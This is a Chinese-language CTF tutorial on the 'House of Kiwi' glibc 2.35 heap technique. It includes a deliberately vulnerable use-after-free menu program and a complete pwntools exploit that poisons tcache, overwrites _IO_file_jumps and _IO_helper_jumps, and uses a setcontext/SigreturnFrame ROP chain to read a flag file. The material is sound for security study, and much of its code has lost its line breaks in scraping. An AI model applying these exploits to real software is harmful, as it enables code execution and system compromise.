当前位置: 首页 > news >正文

模板网站缺点网址查询入口

模板网站缺点,网址查询入口,公司管理系统叫什么,用Axure做的网站原型百度云House of Kiwi 之前我们利用IO_FILE一般是通过劫持vtable来实现的, House of Kiwi虽然不是通过劫持vtable来实现,但实质上是劫持vtable指向的全局的_IO_file_jumps_表来实现的。注意:对于某些版本的glibc,_IO_file_jumps_并不可写…

House of Kiwi

之前我们利用IO_FILE一般是通过劫持vtable来实现的, House of Kiwi虽然不是通过劫持vtable来实现,但实质上是劫持vtable指向的全局的_IO_file_jumps_表来实现的。注意:对于某些版本的glibc,_IO_file_jumps_并不可写,也就不能利用这种方法,比较玄学需要实际看一下。较高版本的glibc去除了__malloc_hook__free_hookexit hook;而如果程序调用中利用诸如write__exit等函数直接触发系统调用,不走IO结构体调用流程,就难以使用IO的方法来劫持程序执行流程。之所以赋予House of Kiwi这个利用手法名,实际上是因为找到了一条“主动触发异常退出”来触发vtable上的相关函数来的实现攻击。

一、源码分析

malloc.csysmalloc函数中存在assert断言(当然,很多其他地方也用了assert宏)

这里检查了Top chunk的控制字段,不通过则触发异常

//malloc.c
static void *
sysmalloc (INTERNAL_SIZE_T nb, mstate av)
{...assert ((old_top == initial_top (av) && old_size == 0) ||((unsigned long) (old_size) >= MINSIZE &&prev_inuse (old_top) &&((unsigned long) old_end & (pagesize - 1)) == 0));/* Precondition: not enough current space to satisfy nb request */assert ((unsigned long) (old_size) < (unsigned long) (nb + MINSIZE));...
}

继续看一下assert宏,可以看到assert__assert_fail函数

# if defined __cplusplus
#  define assert(expr)							\(static_cast <bool> (expr)						\? void (0)							\: __assert_fail (#expr, __FILE__, __LINE__, __ASSERT_FUNCTION))
# elif !defined __GNUC__ || defined __STRICT_ANSI__
#  define assert(expr)							\((expr)								\? __ASSERT_VOID_CAST (0)						\: __assert_fail (#expr, __FILE__, __LINE__, __ASSERT_FUNCTION))
# else
/* The first occurrence of EXPR is not evaluated due to the sizeof,but will trigger any pedantic warnings masked by the __extension__for the second occurrence.  The ternary operator is required tosupport function pointers and bit fields in this context, and tosuppress the evaluation of variable length arrays.  */
#  define assert(expr)							\((void) sizeof ((expr) ? 1 : 0), __extension__ ({			\if (expr)								\; /* empty */							\else								\__assert_fail (#expr, __FILE__, __LINE__, __ASSERT_FUNCTION);	\}))
# endif

继续跟进,可以看到实际上是调用__malloc_assert,其中fflush(stderr)则走了IO路线来输出(实际上__fxprintf也走了)。

#if IS_IN (libc)
#ifndef NDEBUG
# define __assert_fail(assertion, file, line, function)			\__malloc_assert(assertion, file, line, function)extern const char *__progname;static void
__malloc_assert (const char *assertion, const char *file, unsigned int line,const char *function)
{(void) __fxprintf (NULL, "%s%s%s:%u: %s%sAssertion `%s' failed.\n",__progname, __progname[0] ? ": " : "",file, line,function ? function : "", function ? ": " : "",assertion);fflush (stderr);abort ();
}
#endif
#endif

fflush_IO_fflush

# define fflush(s) _IO_fflush (s)

_IO_SYNC可以看到,_IO_fflush继续跳转到vtable指向_IO_file_jumps_表上的sync

int
_IO_fflush (FILE *fp)
{if (fp == NULL)return _IO_flush_all ();else{int result;CHECK_FILE (fp, EOF);_IO_acquire_lock (fp);result = _IO_SYNC (fp) ? EOF : 0;_IO_release_lock (fp);return result;}
}
libc_hidden_def (_IO_fflush)

因此,我们可以通过劫持全局_IO_file_jumps表,劫持sync指针,然后触发assert断言进入:

assert__assert_fail__malloc_assertfflush_IO_fflush_IO_SYNC调用链,从而劫持程序流。

二、劫持程序流示例

pwn.c+glibc2.35

#include<stdlib.h>
#include <stdio.h>
#include <unistd.h>
#include <string.h>char *chunk_list[0x100];#define puts(str) write(1, str, strlen(str)), write(1, "\n", 1)void menu() {puts("1. add chunk");puts("2. delete chunk");puts("3. edit chunk");puts("4. show chunk");puts("5. exit");puts("choice:");
}int get_num() {char buf[0x10];read(0, buf, sizeof(buf));return atoi(buf);
}void add_chunk() {puts("index:");int index = get_num();puts("size:");int size = get_num();chunk_list[index] = malloc(size);
}void delete_chunk() {puts("index:");int index = get_num();free(chunk_list[index]);
}void edit_chunk() {puts("index:");int index = get_num();puts("length:");int length = get_num();puts("content:");read(0, chunk_list[index], length);
}void show_chunk() {puts("index:");int index = get_num();puts(chunk_list[index]);
}int main() {setbuf(stdin, NULL);setbuf(stdout, NULL);setbuf(stderr, NULL);while (1) {menu();int choice = get_num();switch (choice) {case 1:add_chunk();break;case 2:delete_chunk();break;case 3:edit_chunk();break;case 4:show_chunk();break;case 5:_exit(0);default:puts("invalid choice.");}}
}

大致过程如下:

  1. 泄露heap base
  2. 劫持tcache_pthread_struct
  3. arbitrary_write劫持全局数据区的_IO_file_jumps
  4. 写坏Top chunk然后malloc较大堆块触发assert断言进入调用链

首先glibc-2.35tcache->key,通过UAF泄露heap_base

add(0,0x100)
add(1,0x100)
add(2,0x100)
delete(0)
show(0)
io.recvline()
heap_base=u64(io.recv(5).ljust(8,b'\x00'))<<12
success("heap_base:"+hex(heap_base))

在这里插入图片描述

让我们通过劫持tcache_pthread_struct来泄露libc并进一步获得arbitrary_write的能力,

delete(2)
# pos = (heap_base + 0x5c8)
# target = heap_base + 0x20
edit(2,p64((heap_base >>12) ^ (heap_base + 0x20))+p64(0))
add(2,0x100)
add(10,0x100)
edit(10,b'\x00'*14+p16(0x7))
delete(1)
show(1)
io.recvline()
libc.address=u64(io.recv(6).ljust(8,b'\x00'))-0x1f2ce0
success("libc_base: "+hex(libc.address))def arbitrary_write(address,content):aligns = address & 0xfaddress = address & ~0xfedit(10,(b'\x00'*14+p16(0x7)).ljust(0xe8,b'\x00')+p64(address))add(11,0x100)edit(11,b'\x00'*aligns+content)

然后我们就可以通过任意地址写来修改全局表_IO_file_jumps

'''
0xdb1f1 execve("/bin/sh", r13, r12)
constraints:[r13] == NULL || r13 == NULL || r13 is a valid argv[r12] == NULL || r12 == NULL || r12 is a valid envp0xdb1f4 execve("/bin/sh", r13, rdx)
constraints:[r13] == NULL || r13 == NULL || r13 is a valid argv[rdx] == NULL || rdx == NULL || rdx is a valid envp0xdb1f7 execve("/bin/sh", rsi, rdx)
constraints:[rsi] == NULL || rsi == NULL || rsi is a valid argv[rdx] == NULL || rdx == NULL || rdx is a valid envp
'''
one_gadget = [0xdb1f1,0xdb1f4,0xdb1f7][0]+libc.addressarbitrary_write(libc.sym['_IO_file_jumps']+0x60,p64(one_gadget))
edit(2,b'\x00'*0x110)gdb.attach(io,"b *{}\nc".format(hex(one_gadget)))
add(20,0x300)

在这里插入图片描述

确实被我们劫持到one_gadget,但是由于rsirdx都不为空,所以不能简单利用。不过我们有任意地址写的能力,由于fflush的参数是stderr所以我们可以在_IO_2_1_stderr头部写"/bin/sh\x00",同时flag位不会触发__fxprintf的链子,继续执行fflush

'''
0xdb1f1 execve("/bin/sh", r13, r12)
constraints:[r13] == NULL || r13 == NULL || r13 is a valid argv[r12] == NULL || r12 == NULL || r12 is a valid envp0xdb1f4 execve("/bin/sh", r13, rdx)
constraints:[r13] == NULL || r13 == NULL || r13 is a valid argv[rdx] == NULL || rdx == NULL || rdx is a valid envp0xdb1f7 execve("/bin/sh", rsi, rdx)
constraints:[rsi] == NULL || rsi == NULL || rsi is a valid argv[rdx] == NULL || rdx == NULL || rdx is a valid envp
'''
one_gadget = [0xdb1f1,0xdb1f4,0xdb1f7][0]+libc.addressarbitrary_write(libc.sym['_IO_file_jumps']+0x60,p64(libc.sym['system']))
edit(2,b'\x00'*0x110)# gdb.attach(io,"b *{}\nc".format(hex(one_gadget)))
arbitrary_write(libc.sym['_IO_2_1_stderr_'],b"/bin/sh\x00")
gdb.attach(io,"b __malloc_assert\n")
add(20,0x300)

在这里插入图片描述

在这里插入图片描述

在这里插入图片描述

三、配合setcontext-gadget实现ROP

glibc2.35setcontext是通过rdx寄存器来传递数值的

   ...0x77d08a450c0d <setcontext+61>     mov    rsp, qword ptr [rdx + 0xa0]0x77d08a450c14 <setcontext+68>     mov    rbx, qword ptr [rdx + 0x80]0x77d08a450c1b <setcontext+75>     mov    rbp, qword ptr [rdx + 0x78]0x77d08a450c1f <setcontext+79>     mov    r12, qword ptr [rdx + 0x48]0x77d08a450c23 <setcontext+83>     mov    r13, qword ptr [rdx + 0x50]0x77d08a450c27 <setcontext+87>     mov    r14, qword ptr [rdx + 0x58]0x77d08a450c2b <setcontext+91>     mov    r15, qword ptr [rdx + 0x60]0x77d08a450c2f <setcontext+95>     test   dword ptr fs:[0x48], 20x77d08a450c3b <setcontext+107>    je     setcontext+294              <setcontext+294>...

我们关注到,在进行House of Kiwi时,调用fflush时执行跳转表函数SYNCrdx寄存器指向_IO_helper_jumps

────────────────────────────────────────────────────[ DISASM / x86-64 / set emulate on ]────────────────────────────────────────────────────0x7e211da782fb <fflush+107>    mov    rcx, rbp     RCX => 0x7e211dbf4580 (__GI__IO_file_jumps) ◂— 00x7e211da782fe <fflush+110>    sub    rcx, rdx     RCX => 0xc00 (0x7e211dbf4580 - 0x7e211dbf3980)0x7e211da78301 <fflush+113>    cmp    rax, rcx     0xd68 - 0xc00     EFLAGS => 0x202 [ cf pf af zf sf IF df of ]0x7e211da78304 <fflush+116>    jbe    fflush+200                  <fflush+200>0x7e211da78306 <fflush+118>    mov    rdi, rbx     RDI => 0x7e211dbf36a0 (_IO_2_1_stderr_) ◂— 0xfbad2887► 0x7e211da78309 <fflush+121>    call   qword ptr [rbp + 0x60]      <__SI_IO_new_file_sync_7>rdi: 0x7e211dbf36a0 (_IO_2_1_stderr_) ◂— 0xfbad2887rsi: 0x7ffc3c3bf7d0 ◂— 0x6c616d203a6e7770 ('pwn: mal')rdx: 0x7e211dbf3980 (_IO_helper_jumps) ◂— 0rcx: 0xc000x7e211da7830c <fflush+124>    test   eax, eax0x7e211da7830e <fflush+126>    setne  al0x7e211da78311 <fflush+129>    movzx  eax, al0x7e211da78314 <fflush+132>    neg    eax0x7e211da78316 <fflush+134>    test   dword ptr [rbx], 0x8000
─────────────────────────────────────────────────────────────────[

这也是一个全局跳转表,具有w权限,可以通过arbitray_write劫持

至于为什么是_IO_helper_jumps,其实指向的是__start___libc_IO_vtables,而_IO_helper_jumps是各个全局的跳转函数表的第一个表,数值也即__start___libc_IO_vtables

pwndbg> p/x __start___libc_IO_vtables
$3 = 0x7e211dbf3980 <_IO_helper_jumps>
pwndbg> info reg rdx
rdx            0x7e211dbf3980      138680698091904
pwndbg> tele 0x7e211dbf3980
00:0000│ rdx 0x7e211dbf3980 (_IO_helper_jumps) ◂— 0
01:0008│-bf8 0x7e211dbf3988 (_IO_helper_jumps+8) ◂— 0
02:0010│-bf0 0x7e211dbf3990 (_IO_helper_jumps+16) —▸ 0x7e211da85a10 (_IO_default_finish) ◂— endbr64 
03:0018│-be8 0x7e211dbf3998 (_IO_helper_jumps+24) —▸ 0x7e211da6c390 (_IO_helper_overflow) ◂— endbr64 
04:0020│-be0 0x7e211dbf39a0 (_IO_helper_jumps+32) —▸ 0x7e211da85360 (_IO_default_underflow) ◂— endbr64 
05:0028│-bd8 0x7e211dbf39a8 (_IO_helper_jumps+40) —▸ 0x7e211da85370 (_IO_default_uflow) ◂— endbr64 
06:0030│-bd0 0x7e211dbf39b0 (_IO_helper_jumps+48) —▸ 0x7e211da86450 (_IO_default_pbackfail) ◂— endbr64 
07:0038│-bc8 0x7e211dbf39b8 (_IO_helper_jumps+56) —▸ 0x7e211da853d0 (_IO_default_xsputn) ◂— endbr64 
pwndbg> 
08:0040│-bc0 0x7e211dbf39c0 (_IO_helper_jumps+64) —▸ 0x7e211da85550 (_IO_default_xsgetn) ◂— endbr64 
09:0048│-bb8 0x7e211dbf39c8 (_IO_helper_jumps+72) —▸ 0x7e211da85a90 (_IO_default_seekoff) ◂— endbr64 
0a:0050│-bb0 0x7e211dbf39d0 (_IO_helper_jumps+80) —▸ 0x7e211da85710 (_IO_default_seekpos) ◂— endbr64 
0b:0058│-ba8 0x7e211dbf39d8 (_IO_helper_jumps+88) —▸ 0x7e211da85610 (_IO_default_setbuf) ◂— endbr64 
0c:0060│-ba0 0x7e211dbf39e0 (_IO_helper_jumps+96) —▸ 0x7e211da85a00 (_IO_default_sync) ◂— endbr64 
0d:0068│-b98 0x7e211dbf39e8 (_IO_helper_jumps+104) —▸ 0x7e211da85780 (_IO_default_doallocate) ◂— endbr64 
0e:0070│-b90 0x7e211dbf39f0 (_IO_helper_jumps+112) —▸ 0x7e211da865c0 (_IO_default_read) ◂— endbr64 
0f:0078│-b88 0x7e211dbf39f8 (_IO_helper_jumps+120) —▸ 0x7e211da865d0 (_IO_default_write) ◂— endbr64 
pwndbg> 
10:0080│-b80 0x7e211dbf3a00 (_IO_helper_jumps+128) —▸ 0x7e211da865a0 (_IO_default_seek) ◂— endbr64 
11:0088│-b78 0x7e211dbf3a08 (_IO_helper_jumps+136) —▸ 0x7e211da85a00 (_IO_default_sync) ◂— endbr64 
12:0090│-b70 0x7e211dbf3a10 (_IO_helper_jumps+144) —▸ 0x7e211da865b0 (_IO_default_stat) ◂— endbr64 
13:0098│-b68 0x7e211dbf3a18 (_IO_helper_jumps+152) ◂— 0
... ↓     4 skipped
pwndbg> 
18:00c0│-b40 0x7e211dbf3a40 (_IO_helper_jumps) ◂— 0
19:00c8│-b38 0x7e211dbf3a48 (_IO_helper_jumps+8) ◂— 0
1a:00d0│-b30 0x7e211dbf3a50 (_IO_helper_jumps+16) —▸ 0x7e211da7c460 (_IO_wdefault_finish) ◂— endbr64 
1b:00d8│-b28 0x7e211dbf3a58 (_IO_helper_jumps+24) —▸ 0x7e211da715d0 (_IO_helper_overflow) ◂— endbr64 
1c:00e0│-b20 0x7e211dbf3a60 (_IO_helper_jumps+32) —▸ 0x7e211da85360 (_IO_default_underflow) ◂— endbr64 
1d:00e8│-b18 0x7e211dbf3a68 (_IO_helper_jumps+40) —▸ 0x7e211da85370 (_IO_default_uflow) ◂— endbr64 
1e:00f0│-b10 0x7e211dbf3a70 (_IO_helper_jumps+48) —▸ 0x7e211da7c2a0 (_IO_wdefault_pbackfail) ◂— endbr64 
1f:00f8│-b08 0x7e211dbf3a78 (_IO_helper_jumps+56) —▸ 0x7e211da7c5e0 (_IO_wdefault_xsputn) ◂— endbr64 

值得注意的是,关注上述gdb调试数据,可以看到好像有两个_IO_helper_jumps表。无论是libc.sym['_IO_helper_jumps']还是gdb内通过p/x &_IO_helper_jumps,打印的都是第二张表的地址;不过fflushcall sync时的rdx指向是第一个表,需要格外注意。

因此我们可以:

  1. 利用任意地址写在_IO_helper_jumps上布置sigreturnFrame
  2. 在堆上布置ROP
  3. 写坏Top chunk触发调用链
# ROP 放在2号堆块上
rop_start = heap_base + 0x4c0
buf_start = heap_base + 0x80
# flag 读到0号堆块上
flag_start = heap_base + 0x2a0
rop = b''
# read(3,flag_start,0x20)
rop += p64(libc.search(asm("pop rdi;ret")).__next__())
rop += p64(3)
rop += p64(libc.search(asm("pop rsi;ret")).__next__())
rop += p64(flag_start)
rop += p64(libc.search(asm("pop rdx;ret")).__next__())
rop += p64(0x20)
rop += p64(libc.sym['read'])
# write(1,flag_start,0x20)
rop += p64(libc.search(asm("pop rdi;ret")).__next__())
rop += p64(1)
rop += p64(libc.search(asm("pop rsi;ret")).__next__())
rop += p64(flag_start)
rop += p64(libc.search(asm("pop rdx;ret")).__next__())
rop += p64(0x20)
rop += p64(libc.sym['write'])
rop = rop.ljust(buf_start - rop_start, b'\x00')
rop += b'./flag.txt\x00'
rop = rop.ljust(0x110, b'\x00')frame = SigreturnFrame()
# open("./flag.txt")
frame.rdi = buf_start
frame.rsi = 0
frame.rdx = 0
frame.rip = libc.sym['open']
frame.rsp = rop_startarbitrary_write(libc.sym["__start___libc_IO_vtables"],bytes(frame))

然而

在这里插入图片描述

看起来我们修改的_IO_helper_jumpsfflush 之前的__fxprintf被使用。

具体我们看一下用到了哪一项,我们断点到__malloc_assert开始步过,最终定位到表偏移0x38的函数指针是会被调用的

在这里插入图片描述

因此我们的sigreturnFrame数据在该处保留合法指针即可

pwndbg> p __start___libc_IO_vtables 
$1 = 0x77bb9cbf3980 <_IO_helper_jumps> ""
pwndbg> tele 0x77bb9cbf3980
00:0000│  0x77bb9cbf3980 (_IO_helper_jumps) ◂— 0
01:0008│  0x77bb9cbf3988 (_IO_helper_jumps+8) ◂— 0
02:0010│  0x77bb9cbf3990 (_IO_helper_jumps+16) —▸ 0x77bb9ca85a10 (_IO_default_finish) ◂— endbr64 
03:0018│  0x77bb9cbf3998 (_IO_helper_jumps+24) —▸ 0x77bb9ca6c390 (_IO_helper_overflow) ◂— endbr64 
04:0020│  0x77bb9cbf39a0 (_IO_helper_jumps+32) —▸ 0x77bb9ca85360 (_IO_default_underflow) ◂— endbr64 
05:0028│  0x77bb9cbf39a8 (_IO_helper_jumps+40) —▸ 0x77bb9ca85370 (_IO_default_uflow) ◂— endbr64 
06:0030│  0x77bb9cbf39b0 (_IO_helper_jumps+48) —▸ 0x77bb9ca86450 (_IO_default_pbackfail) ◂— endbr64 
07:0038│  0x77bb9cbf39b8 (_IO_helper_jumps+56) —▸ 0x77bb9ca853d0 (_IO_default_xsputn) ◂— endbr64 
pwndbg> libc
libc : 0x77bb9ca00000
pwndbg> p/x 0x77bb9ca853d0-0x77bb9ca00000
$2 = 0x853d0
frame=bytearray(bytes(frame))
frame[0x38:0x40]=p64(libc.address+0x853d0)

然后我们就可以正常到达fflush,并劫持到setcontext

在这里插入图片描述

然后可以看到setcontext退出时进入rop-chain

在这里插入图片描述

结果在ROP过程中发现找到的pop rdx;ret是不可执行数据;遂在所有的gadgetlibc.search部分增添参数executable=True

rop += p64(libc.search(asm("pop rdx;ret"),executable=True).__next__())

然而又找不到这样的gadget。所以用ropperROPgadget找具有同样功能虽然可能略荣誉的gadget

0x0000000000107191 : pop rdx ; pop r12 ; ret

最终可以实现:

在这里插入图片描述

ROP完整exp

from pwn import *
from pwnlib.abi import freebsd_armelf = ELF("./pwn")
libc = ELF("./libc.so.6")
context.arch = elf.arch
context.log_level = 'debug'
context.os = elf.osdef add(index, size):io.sendafter(b"choice:", b"1")io.sendafter(b"index:", str(index).encode())io.sendafter(b"size:", str(size).encode())def delete(index):io.sendafter(b"choice:", b"2")io.sendafter(b"index:", str(index).encode())def edit(index, content):io.sendafter(b"choice:", b"3")io.sendafter(b"index:", str(index).encode())io.sendafter(b"length:", str(len(content)).encode())io.sendafter(b"content:", content)def show(index):io.sendafter(b"choice:", b"4")io.sendafter(b"index:", str(index).encode())io = process("./pwn")add(0, 0x100)
add(1, 0x100)
add(2, 0x100)delete(0)
show(0)
io.recvline()
heap_base = u64(io.recv(5).ljust(8, b'\x00')) << 12
success("heap_base:" + hex(heap_base))delete(2)
# pos = (heap_base + 0x5c8)
# target = heap_base + 0x20
edit(2, p64((heap_base >> 12) ^ (heap_base + 0x20)) + p64(0))
add(2, 0x100)
add(10, 0x100)
edit(10, b'\x00' * 14 + p16(0x7))
delete(1)
show(1)
io.recvline()
libc.address = u64(io.recv(6).ljust(8, b'\x00')) - 0x1f2ce0
success("libc_base: " + hex(libc.address))def arbitrary_write(address, content):aligns = address & 0xfaddress = address & ~0xfedit(10, (b'\x00' * 14 + p16(0x7)).ljust(0xe8, b'\x00') + p64(address))add(11, 0x100)edit(11, b'\x00' * aligns + content)gdb.attach(io, 'b fflush\nc')
# gdb.attach(io,'b __malloc_assert\nc')# ROP 放在2号堆块上
rop_start = heap_base + 0x4c0
buf_start = rop_start + 0x80
# flag 读到0号堆块上
flag_start = heap_base + 0x2a0
rop = b''
# read(3,flag_start,0x20)
rop += p64(libc.search(asm("pop rdi;ret"), executable=True).__next__())
rop += p64(3)
rop += p64(libc.search(asm("pop rsi;ret"), executable=True).__next__())
rop += p64(flag_start)
rop += p64(libc.search(asm("pop rdx;pop r12;ret"), executable=True).__next__())
rop += p64(0x30)
rop += p64(0)
rop += p64(libc.sym['read'])
# write(1,flag_start,0x20)
rop += p64(libc.search(asm("pop rdi;ret"), executable=True).__next__())
rop += p64(1)
rop += p64(libc.search(asm("pop rsi;ret"), executable=True).__next__())
rop += p64(flag_start)
rop += p64(libc.search(asm("pop rdx;pop r12;ret"), executable=True).__next__())
rop += p64(0x30)
rop += p64(0)
rop += p64(libc.sym['write'])
rop = rop.ljust(buf_start - rop_start, b'\x00')
rop += b'./flag.txt\x00'
rop = rop.ljust(0x110, b'\x00')frame = SigreturnFrame()
# open("./flag.txt")
frame.rdi = buf_start
frame.rsi = 0
frame.rdx = 0
frame.rip = libc.sym['open']
frame.rsp = rop_startframe = bytearray(bytes(frame))
frame[0x38:0x40] = p64(libc.address + 0x853d0)
arbitrary_write(libc.sym["__start___libc_IO_vtables"], bytes(frame))
arbitrary_write(libc.sym['_IO_file_jumps'] + 0x60, p64(libc.sym['setcontext'] + 61))
edit(2, rop)
add(30, 0x300)
io.interactive()
http://www.hrbkazy.com/news/7763.html

相关文章:

  • 厦门app网站建设沈阳网站建设制作公司
  • 学会建网站如何做网络营销营销宣传方案
  • 产品开发流程ppt网站快速优化排名推荐
  • 途牛的旅游网站是谁做的湖南网站设计
  • 做新闻网站数据谷歌seo推广公司
  • 免费下载访问迅雷网盘seo国外推广软件
  • 公司网站开发完成后怎么办百度一下下载
  • 个人做网站的注意事项吸引人的软文
  • 需要建设网站的百度seo如何优化
  • 三亚网站定制aso具体优化
  • 北京展示型网站建设价格谷歌搜索引擎入口363
  • 建站之星7大核心价值seo快速优化软件
  • 免费logo定制东莞网络优化排名
  • 北京企业建站技术关键词歌曲免费听
  • 做网站选什么配置电脑成都计算机培训机构排名前十
  • 学校网站建设措施搜索引擎优化策略有哪些
  • c web网站开发源码app开发平台
  • 国家公示系统企业信息查询东莞做网站优化
  • 莆田网站建设多少钱千瓜数据
  • 大连网站设计 仟亿科技今日小说搜索百度风云榜
  • 橙子建站网站广州新闻24小时爆料热线
  • 网站设计风格升级seo代运营
  • 沂水做网站如何通过网络营销自己
  • 村委会网站源码 php发布平台
  • 四川网站建设设计seo关键词排名如何
  • 如何用公司名称搜到公司网站如何分析百度指数
  • 网站做支付端口的费用关键词优化推广公司哪家好
  • 家乡网站怎么做网络销售挣钱吗
  • 网站建设骗子公司优化电池充电什么意思
  • 岳阳市内从事网站建设的公司营销推广有哪些公司